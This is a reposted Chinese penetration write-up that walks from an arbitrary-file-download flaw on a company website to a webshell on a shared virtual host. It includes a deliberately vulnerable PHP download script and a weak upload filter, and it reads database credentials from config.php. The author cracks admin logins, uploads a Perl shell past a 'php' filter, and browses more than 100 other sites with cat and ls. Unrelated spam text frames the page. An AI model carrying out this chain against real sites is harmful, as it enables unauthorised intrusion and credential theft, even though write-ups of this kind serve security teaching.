国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 服務器 > Web服務器 > 正文

某集團任意文件下載到虛擬主機getshell的方法

2024-09-01 13:50:25
字體:
來源:轉載
供稿:網友

0x01 前言 

從某群的故事改編而來,都是些老套路各位看官看得高興就好;第一次在i春秋發帖有點緊張,如果有什么不周到的地方請去打死阿甫哥哥。你沒聽錯,阿甫哥哥推薦。

 0x02 什么是任意文件下載

  說到文件下載各位童鞋都不陌生(老司機請跳過),我們要下載網站上某個文件(.zip、.doc、.pdf)直接請求這個文件即可格式一般為:域名+相對路徑+文件名,如http://www.test.com/downlad/test.zip。而在網站上下載文件一般分為兩種,一種就是剛才所說的直接請求某個文件,還有一種就是網站運營者提供了一個下載腳我們只需要請求:http://www.test.com/download.php?filename=test.zip(文件名)這樣的url也可以下載文件。

  眾所周知,我們請求一個網站上的腳本文件(這里以php為例)是不會被下載的,如:http://www.test.com/test.php。那任意文件下載是怎么造成的呢?這里就是上面說到的第二種情況了,網站運營者提供了http://www.test.com/download.php?filename=test.zip這樣一個連接本意是想訪問者下載test.zip文件,但是沒有做好安全措施導致任意文件下載。 舉個栗子:

  測試環境(phpstudy):windows7+php-5.5.38+apache

  一個任意文件下載腳本test.php,代碼如下:

<?phpif(empty($_GET['filename'])){ echo 'i春秋任意文件下載測試~'."<br>請輸入需要下載的文件名";}else{  $filename = $_GET['filename'];  $fileinfo = pathinfo($filename); header('Content-type: application/x-'.$fileinfo['extension']); header('Content-Disposition: attachment; filename='.$fileinfo[' name']);  header('Content-Length: '.filesize($filename));  readfile($filename); exit(); }?>

  直接訪問該文件,文件并沒有被下載而是解析了其中的代碼   

虛擬主機,getshell

在網站根目錄下新建一個文件夾inc并新建一個名為ichunqiu.php的文件   

虛擬主機,getshell

現在來嘗試下載該文件,訪問:http://127.0.0.1/test/test.php?filename=/inc/ichunqiu.php成功下載該文件 

虛擬主機,getshell

0x03 某集團任意文件下載

  之前挖某集團的漏洞時發現一個任意文件下載,兩個思路:①下載源碼審計-發現漏洞-利用;②下載數據庫文件-如果支持外聯-登錄后臺-嘗試getshell,這里我選擇了第二種。

  首先下載了index.php文件,代碼如下:

<?define('IN_W3CWEB',true);require(dirname(__FILE__) . '/include/global.php'); @header("Content-type: text/html; charset=utf-8"); InitGP(array("action","do","gid","id")); $smarty->assign("pagetag","about"); $smarty->assign("page ","index");$lng=isset($_GET['lng']) && $_GET['lng']=='en'?'en':'cn';$sql="select * from $table_article where channel='1' and cat_id in(38,39)order by show_style desc,art_addtime desc limit 6 ";if($array=$DB->GetAll($sql)){ //print_r($row);  $smarty->assign("article_index",$array); }//print_r($GLOBALS);/*seo*/$seo_    =""; $seo_keywords  =""; $seo_de ion =""; seo_print();//print_r($_COOKIE);$smarty->assign("action",$action);$tpl="cn/index.html";$smarty->display($tpl);//print_r($GLOBALS);?>

  第3行包含了/include/global.php文件,繼續下載global.php文件在第31-32行代碼發現包含了數據庫連接文件,如下:

<?php.../* 加載基本配置信息文件 */require(ROOT_PATH . 'data/config.php'); ...?>

  在config.php中找到數據庫連接信息:

<?php// data type$db_type = "mysqli";// data host$db_host = "xx.xx.xx.com";// data name$db_name = "dxxxm";// data username$db_user = "dxxxm";// data password$db_pass = 'cxxxp1xxx6'; $dsn1 = "$db_type://$db_user:$db_pass@$db_host/$db_name"; ...?>

  站庫分離,百度site:xx.com“廈xxx有限公司”  

虛擬主機,getshell

  再訪問下http://www.xxx.com/這個域名,通過掃描微信后基本確認“xx集團”主站的數據庫是放在“xxx有限公司”的服務器上  

虛擬主機,getshell

  繼續,用navacat連接找到后臺用戶帳號密碼:

用戶名     密文         解密明文

axxxn        5xxx0

gxxxn        2xxxc        1xxxv 

虛擬主機,getshell

0x04 虛擬主機getshell  

接著用gxxxn/1xxxv成功登錄某集團官網后臺:http://www.xxx.com/manage.php  

虛擬主機,getshell

  在已發布文章里找了一處可以上傳圖片的,簡單測試了下phtml、php、php%20、php%00之類的后綴均不能繞過,只好只好下載相關文件看代碼。

<?php...//picfunction upload_pic($uploaddir, $uploadname, $uploadtype){ global $config; if($_FILES[$uploadname]["name"]){     $dir_file=$uploaddir;  if(!file_exists($dir_file)){   mkdir($dir_file , 0777);    chmod($dir_file,0777);   }   $filename=explode(".",$_FILES[$uploadname]['name']);   do{    $filename[0] = date('YmdHis').$uploadtype;   $uploadfile = $dir_file.implode(".",$filename);  } while(file_exists($uploadfile)); if(strpos($uploadfile,"php")>0){  return 'no php';  }   copy($_FILES[$uploadname]['tmp_name'], $uploadfile); } return str_replace($config['siteRoot'], "", $uploadfile); } ...?>

  strpos($uploadfile,"php")只過濾了php文件,陷入困境又去官網翻了翻突然注意到一處404仔細一看” 2.0.9 Perl”還支持perl腳本?于是在后臺找了一處上傳圖片的地方直接上傳perl腳本,結果還真成功getshell地址:http://www.xxx.com/AxxxT/axxxe/2xxxo.pl 支持perl的站,又漲姿勢了~   

虛擬主機,getshell

查看日志文件發現大量網站記錄:cat /var/www/73scan.log也可以直接看web命令:ls /var/www/vhosts   

虛擬主機,getshell

100+的網站,無意間getshell某公司的虛擬主機  

虛擬主機,getshell

  任意讀取一網站目錄下的文件:cat /var/www/vhosts/0xxcom/httpdocs/index.php  

虛擬主機,getshell

  雖然當前權限不能修改和寫入,但是可跨目錄讀文件而這些網站的數據庫又支持外聯,你懂的;

  本想試試臟牛提權,但怕給打死了就草草提交了

 0x05 總結

① 精簡下整個過程:任意文件下載-連接數據獲得帳號密碼-后臺上傳;

② 代碼這塊有點php基礎都能看懂,學個十天半個月就成;

③ 細心吧,看到錯誤信息才想到支持perl腳本,不過一般也只有linux才會有;

以上所述是小編給大家介紹的某集團任意文件下載到虛擬主機getshell的方法,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對VEVB武林網網站的支持!

 

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 古田县| 鸡西市| 上饶县| 静宁县| 荆门市| 施甸县| 新乡县| 永顺县| 慈溪市| 阜南县| 玛沁县| 罗山县| 青海省| 东山县| 建水县| 佛学| 香港 | 永定县| 曲阳县| 怀宁县| 新河县| 保亭| 图木舒克市| 阜宁县| 婺源县| 华坪县| 海丰县| 调兵山市| 吐鲁番市| 浏阳市| 阳曲县| 沂南县| 玛沁县| 怀安县| 朝阳县| 阳信县| 紫云| 威远县| 蕲春县| 宝应县| 桂林市|